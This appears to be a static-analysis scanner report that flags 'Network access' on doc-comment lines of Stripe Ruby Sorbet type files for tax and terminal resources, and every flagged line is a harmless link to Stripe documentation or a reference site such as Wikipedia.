end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 46
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 59
sig { returns(String) } def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 60
def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 61
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 69
end end # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amoun - Network accessline 70
end # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. s - Network accessline 71
# The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 72
sig { returns(Integer) } def amount; end # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 73
def amount; end # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 74
# The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 81
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 82
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T. - Network accessline 83
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 87
sig { returns(String) } def object; end # The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 88
def object; end # The ID of an existing [Product](https://docs.stripe.com/api/products/object). sig { returns(T.nilable(String)) } - Network accessline 89
# The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 102
sig { returns(T.nilable(T::Array[TaxBreakdown])) } def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource. - Network accessline 103
def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource. sig { returns(String) } - Network accessline 104
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/registration.rbi
- Network accessline 5
module Stripe module Tax # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax). - Network accessline 6
module Tax # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax). # - Network accessline 7
# A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax). - Network accessline 8
# # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering). - Network accessline 9
# Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering). - Network accessline 10
# # Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api) class Registration < APIResource - Network accessline 11
# Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api) - Network accessline 282
class Ca < ::Stripe::StripeObject class ProvinceStandard < ::Stripe::StripeObject # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 283
class ProvinceStandard < ::Stripe::StripeObject # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(String) } - Network accessline 284
# Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1541
class Us < ::Stripe::StripeObject class LocalAmusementTax < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1542
class LocalAmusementTax < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. sig { returns(String) } - Network accessline 1543
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1552
end class LocalLeaseTax < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1553
class LocalLeaseTax < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. sig { returns(String) } - Network accessline 1554
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1564
class StateSalesTax < ::Stripe::StripeObject class Election < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1565
class Election < ::Stripe::StripeObject # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. sig { returns(T.nilable(String)) } - Network accessline 1566
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1593
sig { returns(T.nilable(LocalLeaseTax)) } def local_lease_tax; end # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1594
def local_lease_tax; end # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(String) } - Network accessline 1595
# Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2090
sig { returns(Integer) } def active_from; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2091
def active_from; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2092
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/settings.rbi
- Network accessline 7
# You can use Tax `Settings` to manage configurations used by Stripe Tax calculations. # # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api) - Network accessline 8
# # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api) class Settings < SingletonAPIResource - Network accessline 9
# Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api) - Network accessline 13
sig { returns(String) } def provider; end # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or e - Network accessline 14
def provider; end # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's - Network accessline 15
# Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's price has a tax behavior - Network accessline 16
sig { returns(T.nilable(String)) } def tax_behavior; end # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices. - Network accessline 17
def tax_behavior; end # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices. sig { returns(T.nilable(String)) } - Network accessline 18
# Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices. - Network accessline 31
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 33
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 43
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 44
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 45
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/transaction.rbi
- Network accessline 7
# A Tax Transaction records the tax collected from or refunded to your customer. # # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction) - Network accessline 8
# # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction) class Transaction < APIResource - Network accessline 9
# Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction) - Network accessline 14
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 26
sig { returns(T.nilable(String)) } def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 27
def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 28
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 88
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 90
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 100
sig { returns(T.nilable(String)) } def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 101
def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 102
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 123
class TaxBreakdown < ::Stripe::StripeObject class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 124
class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 125
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 132
sig { returns(String) } def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 133
def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 134
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 159
end end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 160
end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 161
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 174
sig { returns(String) } def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 175
def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 176
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 184
end end # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this am - Network accessline 185
end # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 186
# The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 187
sig { returns(Integer) } def amount; end # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 188
def amount; end # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 189
# The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 190
sig { returns(Integer) } def amount_tax; end # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 191
def amount_tax; end # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). sig { returns(T.nilable(String)) } - Network accessline 192
# The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 199
sig { returns(T.nilable(T::Array[TaxBreakdown])) } def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 200
def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. sig { returns(String) } - Network accessline 201
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 212
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 213
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 214
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 215
sig { returns(String) } def currency; end # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. - Network accessline 216
def currency; end # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. sig { returns(T.nilable(String)) } - Network accessline 217
# The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. - Network accessline 230
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 231
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T. - Network accessline 232
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/transaction_line_item.rbi
- Network accessline 17
end end # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amoun - Network accessline 18
end # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. s - Network accessline 19
# The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 20
sig { returns(Integer) } def amount; end # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 21
def amount; end # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 22
# The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 29
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 30
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T. - Network accessline 31
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 35
sig { returns(String) } def object; end # The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 36
def object; end # The ID of an existing [Product](https://docs.stripe.com/api/products/object). sig { returns(T.nilable(String)) } - Network accessline 37
# The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 50
sig { returns(String) } def tax_behavior; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource. - Network accessline 51
def tax_behavior; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource. sig { returns(String) } - Network accessline 52
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_code.rbi
- Network accessline 4
# typed: true module Stripe # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes. - Network accessline 5
module Stripe # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes. class TaxCode < APIResource - Network accessline 6
# [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes. - Network accessline 18
sig { returns(String) } def object; end # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations. - Network accessline 19
def object; end # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations. sig { - Network accessline 20
# A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_id.rbi
- Network accessline 4
# typed: true module Stripe # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account. - Network accessline 5
module Stripe # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account. # Customer and account tax IDs get displayed on related invoices and credit notes. - Network accessline 6
# You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account. - Network accessline 7
# Customer and account tax IDs get displayed on related invoices and credit notes. # # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoi - Network accessline 8
# # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids) class TaxId < APIResource - Network accessline 9
# Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax_rate.rbi
- Network accessline 4
# typed: true module Stripe # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/paym - Network accessline 5
module Stripe # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/ - Network accessline 6
# Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/use-manual-tax-r - Network accessline 7
# # Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates) class TaxRate < APIResource - Network accessline 8
# Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates) - Network accessline 25
sig { returns(T::Boolean) } def active; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 26
def active; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 27
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 60
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 61
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 62
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 72
sig { returns(T.nilable(String)) } def rate_type; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 73
def rate_type; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 74
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/configuration.rbi
- Network accessline 6
module Terminal # A Configurations object represents how features should be configured for terminal readers. # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fle - Network accessline 7
# A Configurations object represents how features should be configured for terminal readers. # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-ov - Network accessline 8
# For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-overview).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/connection_token.rbi
- Network accessline 7
# A Connection Token is used by the Stripe Terminal SDK to connect to a reader. # # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 8
# # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) class ConnectionToken < APIResource - Network accessline 9
# Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 10
class ConnectionToken < APIResource # The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens] - Network accessline 11
# The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens](https://docs.stripe.com/terminal/fleet/lo
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/location.rbi
- Network accessline 7
# A Location represents a grouping of readers. # # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 8
# # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) class Location < APIResource - Network accessline 9
# Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 13
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 25
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 26
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 27
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 39
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 40
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 41
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 68
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 69
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 70
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 120
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 121
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 122
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 133
def deleted; end # Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide. - Network accessline 134
# Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide. sig { - Network accessline 135
# For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/terminal/reader.rbi
- Network accessline 7
# A Reader represents a physical device for accepting payment details. # # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader) - Network accessline 8
# # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader) class Reader < APIResource - Network accessline 9
# Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader) - Network accessline 193
sig { returns(T::Array[Input]) } def inputs; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i - Network accessline 194
def inputs; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retu - Network accessline 195
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 239
def payment_intent; end # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them t - Network accessline 240
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to - Network accessline 241
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 242
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/mo - Network accessline 243
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). sig { returns(T.nilable(::Stripe::PaymentMeth - Network accessline 244
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 368
sig { returns(T.nilable(T.any(String, ::Stripe::Charge))) } def charge; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf - Network accessline 369
def charge; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retu - Network accessline 370
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 399
class Cart < ::Stripe::StripeObject class LineItem < ::Stripe::StripeObject # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 400
